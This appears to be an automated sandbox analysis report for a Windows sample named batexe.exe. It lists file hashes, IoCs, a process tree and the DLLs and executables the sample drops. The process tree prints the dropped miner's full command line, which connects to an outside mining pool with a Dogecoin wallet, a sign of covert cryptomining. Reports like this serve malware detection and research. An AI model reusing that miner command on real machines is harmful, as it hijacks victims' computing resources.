73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20-02-2024 05:31

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4872	b2e.exe
440	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
440	cpuminer-sse2.exe
440	cpuminer-sse2.exe
440	cpuminer-sse2.exe
440	cpuminer-sse2.exe
440	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3372-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 4872	3372	batexe.exe	74
PID 3372 wrote to memory of 4872	3372	batexe.exe	74
PID 3372 wrote to memory of 4872	3372	batexe.exe	74
PID 4872 wrote to memory of 4372	4872	b2e.exe	75
PID 4872 wrote to memory of 4372	4872	b2e.exe	75
PID 4872 wrote to memory of 4372	4872	b2e.exe	75
PID 4372 wrote to memory of 440	4372	cmd.exe	78
PID 4372 wrote to memory of 440	4372	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Users\Admin\AppData\Local\Temp\9182.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9182.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9182.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9347.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4372
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9182.tmp\b2e.exe

Filesize
4.2MB

MD5
281a882bb509fe3af7e9fed755483f45

SHA1
7896952966b1a2154d80e686ce2412d684b29872

SHA256
6c0b951844e27a55bceb839c4e9f770d2069f96de39003fa4ac9af34f94ed8e9

SHA512
054199c2fb1cfad43da8f7099ab62b8f148429989410666f8ad7560cf4826b1d106696f7be67d545ad3842fa2cde5f1bd44e6edf539a6f98e300540ef6412210

Download Submit
C:\Users\Admin\AppData\Local\Temp\9182.tmp\b2e.exe

Filesize
3.4MB

MD5
fc7f66ccb92fd8d63e2c2128df9b2a78

SHA1
f955e6d16f8b5f116243cbd8e0fe86779acaf32d

SHA256
dea760ddf1020978381917694ecae3d3fb8cf0c1f54d962b73e9211862510fdb

SHA512
d9711eecd0ded19a136bba02a434ce0d77672ceea48974e043e5d07d065e29256c471b66a0b97282a5af840d73e6491ed492dd433ccd9a0ecaa52ce4ecb6050e

Download Submit
C:\Users\Admin\AppData\Local\Temp\9347.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
3cda61defcf0135c5072c994604ad089

SHA1
4463c538f9563267ba67fa98852238579436bef7

SHA256
270914ae097ae95c3da6e9f67352e59da0df601def366a91499732d4e10949d5

SHA512
9bf599a463e51584d57138c17d1b5a304d55aad807b69e184ad5623caae6643d9e0c8776dd98d3b0582538bb9384a147a7ecafbfe9e94224dd02d9f45636c0b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
c7a3b7fd6fb63b2466ec4c4a1b6aed0d

SHA1
e97230df22c9072bb8e2993bf08f6ed594ad2283

SHA256
de4df07f57d37ea40f6580c17b129afb481f59a2871a5806d806e4df250107d9

SHA512
4cb084bed51b8ff9459c6f34be7179eb786774f2e91e5c0d05dd499750bf03019043333947128fd2f2f53ebe8dd45da3db1a0797cf0134ded4ddf36bdedf17f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
787fbaae1b51e170ad9c6fa682dba776

SHA1
6b7b892667312093d2f2bddd98c06bb694d0efa1

SHA256
e113cbf65d654ee2cef0cfc06f4543411e6f2d713e42b12d4d5377dfc3f6ad2a

SHA512
8e8be0afa9caf4ba54849b23c09442959d6050c655452da50ad5227f0343abb2e682b83f13ca8080ddd6f389a2d51f70e99892b9ab3559d9971bf99ff2cc8aee

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
8707e2ee01bf061af49aadd74300eba9

SHA1
0181cf92cf1482dad2723e2ac95867e32f9b562f

SHA256
a77afc546fe9a9098c56fd60dbf42b22dcb1a938806e730957f34c1a2a1c1b3c

SHA512
70d0956a52b8ab317ec54d73b690193d2dbb8b41d056619535767447e71cb54eb268c8b9c27fd52a65d77f6832f64b7c4fb84f3d213482e596ba66a2dc1a6759

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
8ad32a2b4ef73d6316eecae0f6f04aab

SHA1
be3184421b450ef452ea9f8ae43201f08111f666

SHA256
3a30c84332ad408b425cd838be314388f4338cdae48dd837fec36ce45cd2b024

SHA512
32a3d99c04bc7bcde3bb36a1d2927b83fe392fbabc34c41cc35f081196c5731ee1c4c6afbe2134a19bbe58b9edfe1e09013adf1af014765fff5ce4af0eeffe36

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/440-42-0x000000005CEE0000-0x000000005CF78000-memory.dmp

Filesize
608KB

Download
memory/440-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/440-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/440-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/440-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/440-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3372-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4872-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4872-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download